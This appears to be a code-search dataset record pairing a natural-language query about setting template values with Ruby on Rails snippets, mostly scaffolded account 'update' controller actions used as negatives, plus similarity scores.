"def update\n\t\t\t\ttoken = params[:auth_token]\n\t\t\t\tid = params[:id].to_i\n\n\t\t\t\tif token.nil?\n\t\t\t\t\trender :status => 400,\n\t\t\t\t\t\t:json => { :message => \"The request must contain an auth token.\"}\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\t\t@user = User.find_by_authentication_token(token)\n\t\t\t\taccount = JSON.parse params[:account]\n\n\t\t\t\tif account[\"username\"].nil?\n\t\t\t\t\trender :status => 400,\n\t\t\t\t\t\t:json => { :message => \"'username' cannot be null.\"}\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\t\tif account[\"computer_id\"].nil?\n\t\t\t\t\trender :status => 400,\n\t\t\t\t\t\t:json => { :message => \"The request must contain a 'computer_id'.\"}\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\t\t@accounts = Account.where computer_id: @user.computer_ids\n\t\t\t\tif id != 0\n\t\t\t\t\tunless @accounts.pluck(:id).include? id\n\t\t\t\t\t\trender :status => 401,\n\t\t\t\t\t\t\t:json => { :message => \"Access Denied, check account Id.\"}\n\t\t\t\t\t\treturn\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tputs \n\t\t\t\tputs account\n\t\t\t\tputs \n\t\t\t\tputs account[\"account_process_attrubutes\"]\n\t\t\t\tputs \n\t\t\t\tputs \n\t\t\t\t@account = Account.find(id)\n\t\t\t\tif Account.update(id, account)\n\t\t\t\t\trender json: {account: @account}\n\t\t\t\telse\n\t\t\t\t\trender :json => { :message => \"Something went wrong with saving the entity.\"}\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\tend",
"def update\n @account = Account.find(params[:id])\n params[:account].delete(:role)\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n format.html { redirect_to(@account, :notice => 'Account was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to action: \"index\" }\n \n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @account = Account.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n format.html { redirect_to @account, notice: t('common.updated', model: human_name) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to account_path(@account), notice: I18n.t('notice.update', model: t('account.name')) }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @account = Account.find(params[:id])\n\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to \"/\", notice: 'Account was successfully updated.' }\n format.json { render :index, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, @account_type\n respond_to do |format|\n if @account_type.update(account_type_params)\n format.html { redirect_to @account_type, notice: 'Account type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @account_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update \n @account_params = light_account_params\n if admin_signed_in?\n @account_params = account_params\n end\n respond_to do |format|\n if @account.update(@account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @account = Account.find(params[:id])\n\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to accounts_path, notice: 'Account was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @oauth_account.update(oauth_account_params)\n format.html { redirect_to @oauth_account, notice: 'Oauth account was successfully updated.' }\n format.json { render :show, status: :ok, location: @oauth_account }\n else\n format.html { render :edit }\n format.json { render json: @oauth_account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @admin_account = AdminAccount.find(params[:id])\n\n respond_to do |format|\n if @admin_account.update_attributes(params[:admin_account])\n format.html { redirect_to(@admin_account, :notice => 'Admin account was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @admin_account.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def edit\n respond_with(account)\n end",
"def update\n\t\t@account = Account.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tif @account.update_attributes(params[:account])\n\t\t\t\tformat.html { redirect_to @account, notice: 'Account was successfully updated.' }\n\t\t\t\tformat.json { head :ok }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"edit\" }\n\t\t\t\tformat.json { render json: @account.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n @account = Account.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n format.html { redirect_to(@account, :notice => 'Account was successfully updated.') }\n #format.xml { head :ok }\n format.json { render :json => @account }\n format.xml { render :xml => @account }\n else\n #format.html { render :action => \"edit\" }\n format.json { render :json => @account.errors, :status => :unprocessable_entity }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @account = current_user.account.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n flash[:notice] = 'Account was successfully updated.'\n format.html { redirect_to(@account) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @account = current_user.accounts.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n flash[:notice] = 'Account was successfully updated.'\n format.html { redirect_to([current_user, @account]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @account.update(account_params)\n flash[:notice] = \"Account was successfully updated.\"\n format.html { redirect_to @account }\n format.json { render :show, status: :ok, location: @account }\n else\n flash[:error] = \"Unable to update account: #{@account.errors.full_messages.to_sentence}\"\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n @account.assign_attributes(account_params)\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_account(id, params)\n put(\"accounts/#{id}\", account: params)\n end",
"def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Conta atualizada.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def account_put_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: IdentityApi.account_put ...\"\n end\n # resource path\n local_var_path = \"/account\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'body'])\n auth_names = ['basicAuth']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AccountResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: IdentityApi#account_put\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update_user(id, accountId, model) path = \"/api/v2/accounts/#{accountId}/users/#{id}\"\n put(path, model, {}, AvaTax::VERSION) end",
"def update\n @account.user_updated_id = current_user.id\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to accounts_path, notice: I18n.t('account.controller.update') }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @account = current_account \n respond_to do |format|\n if @account.update_attributes(params[:account])\n flash[:notice] = 'Account was successfully updated.'\n format.html { redirect_to user_account_url }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n flash[:notice] = 'The account was successfully updated.' if account.update_attributes(params[:account])\n respond_with(account)\n end",
"def update \n user = User.find_by(username: @current_user.username)\n user.update!(username_edit_params)\n response = { message: Message.account_edited, status: :ok}\n json_response(response)\n end",
"def update\n respond_to do |format|\n if @account.update_attributes(params[:account])\n flash[:notice] = 'Account was successfully updated.'\n format.html { redirect_to(user_accounts_path(current_user)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend",
"def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend",
"def update\n respond_to do |format|\n if @user_account.update(user_account_params)\n format.html { redirect_to @user_account, notice: 'User account was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_account }\n else\n format.html { render :edit }\n format.json { render json: @user_account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_account(options)\n password = options[:new_password]\n parameters = { :curpass => options[:current_password], :email => options[:email], :newpass => password, :verpass => password, :api_type => :json }\n\n post('api/update', parameters)\n end",
"def update\n @account = Account.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { head :no_content }\n else\n flash[:error] = @account.errors.empty? ? \"Error\" : @account.errors.full_messages.to_sentence\n format.html { render action: \"edit\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @kakao_account.update(kakao_account_params)\n format.html { redirect_to @kakao_account, notice: 'Kakao account was successfully updated.' }\n format.json { render :show, status: :ok, location: @kakao_account }\n else\n format.html { render :edit }\n format.json { render json: @kakao_account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put!\n request! :put\n end",
"def update\n response = @account_api.update(params)\n\n respond_to do |format|\n if response[:status] == 200\n format.html { redirect_to accounts_path , notice: 'Account successfully updated.' }\n format.json { render :show, status: :created, location: user_path(response[:body]) }\n else\n format.html { redirect_to edit_account_path(params[:id]), alert: formatted_error_message(response).join(\"<br/>\").html_safe }\n format.json { render json: response[:body], status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to accounts_path, notice: 'Hesap güncellendi' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @account = Account.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n format.html { redirect_to(\"/home\", :notice => 'Account was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @account = Account.find(params[:id])\n \n respond_to do |format|\n if @account.update_attributes(params[:account])\n format.html { redirect_to account_url(@account) }\n format.xml { render :nothing => true }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @account.errors.to_xml } \n end\n end\n end",
"def update\n @account = account.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n flash[:notice] = 'account was successfully updated.'\n format.html { redirect_to(@account) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_api_v2_account\n # @account = MasterData::Account.find(params[:id])\n @account = MasterData::Account.find_by(uuid: params[:uuid])\n not_found unless @account\n end",
"def update\n respond_to do |format|\n if @heroku_account.update(heroku_account_params)\n format.html { redirect_to @heroku_account, notice: 'Account was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @heroku_account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n keystone.update_tenant({:id=>params[:id],:name=>params[:name],:description=>params[:description],:enabled=>params[:enabled]})\n respond_to do |format|\n format.html { redirect_to tenants_path, :notice => 'Tenant was successfully updated.' }\n format.json { head :ok }\n end\n end",
"def update\n respond_to do |format|\n if @server_account.update(server_account_params)\n format.html { redirect_to @server_account, notice: 'Server account was successfully updated.' }\n format.json { render :show, status: :ok, location: @server_account }\n else\n format.html { render :edit }\n format.json { render json: @server_account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user_account = UserAccount.find(params[:id])\n\n respond_to do |format|\n if @user_account.update_attributes(params[:user_account])\n format.html { redirect_to user_account_url(@user_account.user, @user_account), notice: 'User account was successfully updated.' }\n format.json { head :ok }\n format.xml { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_account.errors, status: :unprocessable_entity }\n format.xml { render xml: @user_account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @account = Account.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n format.html { redirect_to(@account, :notice => 'Account was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @admin_account_type.update(admin_account_type_params)\n format.html { redirect_to admin_account_types_url, notice: 'Account type was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_account_type }\n else\n format.html { render :edit }\n format.json { render json: @admin_account_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n __log_activity\n __debug_route\n __debug_request\n update_resource(resource, account_update_params) or raise set_flash_alert\n set_flash_notice(user: resource.account)\n redirect_back(fallback_location: dashboard_path)\n rescue => error\n auth_failure_redirect(message: error)\n end",
"def put options\n rest_request({ method: :put }.merge(options))\n end",
"def put options\n rest_request({ method: :put }.merge(options))\n end",
"def update(account_identity, body = {})\n @client.account.update(account_identity, body)\n end",
"def update\n respond_to do |format|\n if @current_account.update(current_account_params)\n format.html { redirect_to @current_account, notice: 'Current account was successfully updated.' }\n format.json { render :show, status: :ok, location: @current_account }\n else\n format.html { render :edit }\n format.json { render json: @current_account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @insta_account.update(insta_account_params)\n format.html { redirect_to @insta_account, notice: 'Insta account was successfully updated.' }\n format.json { render :show, status: :ok, location: @insta_account }\n else\n format.html { render :edit }\n format.json { render json: @insta_account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @account = current_user.person.blackberry_accounts.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:blackberry_account])\n format.html { redirect_to( accounts_path, :notice => 'Account was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @account.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n new_role = @account.role != account_params[:role] ? account_params[:role] : nil\n\n if @account.update(account_params)\n # ----------------------------- produce event -----------------------\n # Events::AccountUpdated.new(payload).to_h.to_json\n event = {\n **account_event_data,\n \n event_name: 'AccountUpdated',\n data: {\n public_id: @account.public_id,\n email: @account.email,\n full_name: @account.full_name,\n position: @account.position\n }\n }\n result = SchemaRegistry.validate_event(event, 'accounts.updated', version: 1)\n\n if result.success?\n WaterDrop::SyncProducer.call(event.to_json, topic: 'accounts-stream')\n else\n\n end\n # --------------------------------------------------------------------\n\n produce_be_event(@account.public_id, new_role) if new_role\n\n # --------------------------------------------------------------------\n\n format.html { redirect_to root_path, notice: 'Account was successfully updated.' }\n format.json { render :index, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_account(account_number, account_form)\r\n # the base uri for api requests\r\n query_builder = Configuration.base_uri.dup\r\n\r\n # prepare query string for API call\r\n query_builder << '/accounts/{account_number}'\r\n\r\n # process optional query parameters\r\n query_builder = APIHelper.append_url_with_template_parameters query_builder, {\r\n 'account_number' => account_number\r\n }\r\n\r\n # validate and preprocess url\r\n query_url = APIHelper.clean_url query_builder\r\n\r\n # prepare headers\r\n headers = {\r\n 'user-agent' => 'APIMATIC 2.0',\r\n 'content-type' => 'application/json; charset=utf-8',\r\n 'X-Auth-Token' => Configuration.x_auth_token\r\n }\r\n\r\n # invoke the API call request to fetch the response\r\n response = Unirest.put query_url, headers: headers, parameters: account_form.to_json\r\n\r\n # Error handling using HTTP status codes\r\n if response.code == 401\r\n raise APIException.new 'You are not authenticated', 401, response.raw_body\r\n elsif response.code == 403\r\n raise APIException.new 'This action needs a valid WSSE header', 403, response.raw_body\r\n elsif response.code == 404\r\n raise APIException.new 'Resource not found', 404, response.raw_body\r\n elsif response.code == 400\r\n raise APIException.new 'Http bad request', 400, response.raw_body\r\n elsif !response.code.between?(200, 206) # [200,206] = HTTP OK\r\n raise APIException.new 'HTTP Response Not OK', response.code, response.raw_body\r\n end\r\n\r\n response.body\r\n end",
"def put(user: nil, account_id: nil, service: nil, endpoint: nil, extra_path: nil, query: {}, page: nil, headers: {})\n post(user: user, account_id: account_id, service: service, endpoint: endpoint, extra_path: extra_path, query: query, page: page, headers: headers, method: :put)\n end",
"def update_user_for_tenant(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/{tenantId}/users/{userId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n unless User.admin_by_token?(request.cookies[\"token\"])\n render json: { error: \"invalid_token\" }, status: :unauthorized\n return\n end\n\n if @resource.update(resource_params)\n render json: @resource, status: :ok\n else\n render json: @resource.errors, status: :unprocessable_entity\n end\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, info: 'Post was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(args)\n builder.update_rest(type, ref, args, username, password)\n self.elements(true)\n end",
"def set_admin_account\n @account = ::Account.find(params[:id])\n end"
] |
[
"0.7248221",
"0.71476406",
"0.70154774",
"0.6825291",
"0.6735371",
"0.67153966",
"0.66732424",
"0.665836",
"0.66364986",
"0.66288435",
"0.65987974",
"0.6589836",
"0.6589836",
"0.65849864",
"0.65678424",
"0.65674514",
"0.65584403",
"0.6557878",
"0.65493107",
"0.65360093",
"0.6515933",
"0.651427",
"0.64949864",
"0.6488809",
"0.6487019",
"0.648368",
"0.64834946",
"0.6481756",
"0.6481756",
"0.6481756",
"0.6481756",
"0.6481756",
"0.6481756",
"0.6481756",
"0.6481756",
"0.6481756",
"0.6481756",
"0.6481756",
"0.6481756",
"0.6481756",
"0.6481756",
"0.6481756",
"0.6481756",
"0.6481756",
"0.647502",
"0.646059",
"0.64488995",
"0.6443884",
"0.6437796",
"0.64353895",
"0.64344907",
"0.6434253",
"0.6418645",
"0.64051294",
"0.64026105",
"0.6379994",
"0.6372321",
"0.6368705",
"0.63572234",
"0.63554054",
"0.63493395",
"0.63483894",
"0.63436013",
"0.63347536",
"0.6329973",
"0.6319996",
"0.6316",
"0.6316",
"0.62887156",
"0.62832385",
"0.6269847",
"0.626728",
"0.62629676",
"0.6259706",
"0.62576133",
"0.62525636",
"0.62492853",
"0.6242055",
"0.6229409",
"0.6227882",
"0.6222339",
"0.62197137",
"0.62190413",
"0.6218316",
"0.6208412",
"0.6205902",
"0.6200121",
"0.6200121",
"0.619086",
"0.6187616",
"0.6177067",
"0.61640054",
"0.61637884",
"0.6160355",
"0.61585665",
"0.6158052",
"0.61549556",
"0.6143541",
"0.613631",
"0.61171526",
"0.61145383"
] |
0.0
|
-1
|
Set some values for the template based on the controller
|
def template_setup
content_for :content_title, "#{icons('font-user')} Account Management".html_safe
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_template\n end",
"def initialize(controller, options={})\n self.controller = controller\n self.template_format = self.class.default_template_format\n options.each_pair do |k,v|\n setter = \"#{k}=\"\n send setter, v if respond_to? setter\n end\n end",
"def index\n\t\tprepare_variable_for_index_template\n\tend",
"def settings\n @setting = Setting.new\n @name_label = @setting.name_label\n @tree_label = @setting.tree_label\n @body_class = decide_body_class\n @show_editor_switch = ['names', 'advanced_names'].include?(params[:controller])\n end",
"def set_my_template\n @my_template = MyTemplate.find(params[:id])\n end",
"def init(context={})\n\n app = context[:app]\n \n # View models\n ::Model::ViewModel.new(:content, 'content', ContentManagerSystem::Content, :view_template_contents,\n [::Model::ViewModelField.new(:_id, 'id', :string),\n ::Model::ViewModelField.new(:title, 'title', :string),\n ::Model::ViewModelField.new(:path, 'path', :string),\n ::Model::ViewModelField.new(:alias, 'alias', :string),\n ::Model::ViewModelField.new(:summary, 'summary', :string),\n ::Model::ViewModelField.new(:type, 'type', :string),\n ::Model::ViewModelField.new(:creation_date, 'creation_date', :date),\n ::Model::ViewModelField.new(:creation_user, 'creation_user', :string)])\n \n ::Model::ViewModel.new(:term, 'term', ContentManagerSystem::Term, :view_template_terms,\n [::Model::ViewModelField.new(:id, 'id', :serial),\n ::Model::ViewModelField.new(:description, 'description', :string)])\n\n ::Model::ViewModel.new(:profile, 'profile', Users::Profile, :view_template_profiles,[]) \n\n # View renders \n teaser_preprocessor = Proc.new do |data, context, render_options|\n data.map { |element| CMSRenders::Factory.get_render(element, context, 'teaser').render({}, [:ignore_complements, :ignore_blocks]) }\n end\n\n slider_preprocessor = Proc.new do |data, context, render_options|\n data.map { |element| CMSRenders::Factory.get_render(element, context, 'justphoto').render({}, [:ignore_complements, :ignore_blocks]) }\n end\n\n term_hierarchy_preprocessor = Proc.new do |data, context, render_options|\n separator = render_options['separator'] || \" · \"\n data.map do |element| \n terms = []\n terms << \"<a href=\\\"#{render_options['prefix']}/#{element.id}\\\">\"\n terms << \"#{element.description}</a>\"\n while not element.parent.nil?\n element = element.parent\n terms << separator\n terms << \"<a href=\\\"#{render_options['prefix']}/#{element.id}\\\">#{element.description}</a>\"\n end\n render_result = \"<div class=\\\"term-hierarchy-container #{render_options['container_class']}\\\">\" << terms.reverse.join << \"</div>\"\n end\n \n end\n\n ::Model::ViewRender.new(:teaser, 'teaser', ::Model::ViewStyle::VIEW_STYLE_TEASER, teaser_preprocessor)\n ::Model::ViewRender.new(:thumbnail, 'thumbnail', Model::ViewStyle::VIEW_STYLE_THUMBNAIL)\n\n end",
"def template_parameters=(value)\n @template_parameters = value\n end",
"def template_params\n @template_params ||= TemplateParamsController.new config\n end",
"def set_template\n Settings.reload!\n @template = Template.find(params[:id])\n end",
"def set_form_template\n @form_template = FormTemplate.find(params[:id])\n end",
"def set_vars_from_context(context)\n self.current_site = context.registers[:site]\n self.current_page = context.registers[:page]\n self.services = context.registers[:services]\n self.current_locale = context.registers[:locale]\n self.page_repository = services.repositories.page\n end",
"def setup_template_variables(rid)\n @rid = rid\n @request_data = JSON.parse @rid.request_data\n @response_data = JSON.parse @rid.response_data\n end",
"def template(value)\n @template = value\n end",
"def controller=(value)\n @controller = value\n end",
"def set_common_view_variables\n @instance_name = (GlobalSettings[:company_name].nil? ? '' : 'Instance: '+GlobalSettings[:company_name])\n @user_name = current_user.try(:name) || ''\n end",
"def view_assigns; end",
"def view_assigns; end",
"def show\n\t\t#will have template\n\tend",
"def reset_template_assigns; end",
"def show\n @menu = \"mytemplate\"\n @board = \"mytemplate\"\n @section = \"show\"\n \n @categories = Category.all(:order => :priority) \n @mytemplate = Mytemplate.get(params[:id])\n \n @category_name = @mytemplate.category\n @subcategory_name = @mytemplate.subcategory\n render 'mytemplate' \n end",
"def set_instance_template_properties# {{{\n\t # if we got here, it means some of parameters changed\n\t # it does not matter which one - we just need to create another template\n\t # and generate refresh event (automatically)\n\t #\n\t #\tXXX may be we should have ensure property and skip this step when\n\t #\tit is set to :absent\n#\tbyebug\n\t create\n\treturn\n end",
"def edit\n @site.setup_template_capacities\n order_template_capacities\n respond_to { |format| format.html }\n end",
"def set_template\n @template = PrintTemplate.find(params[:id])\n end",
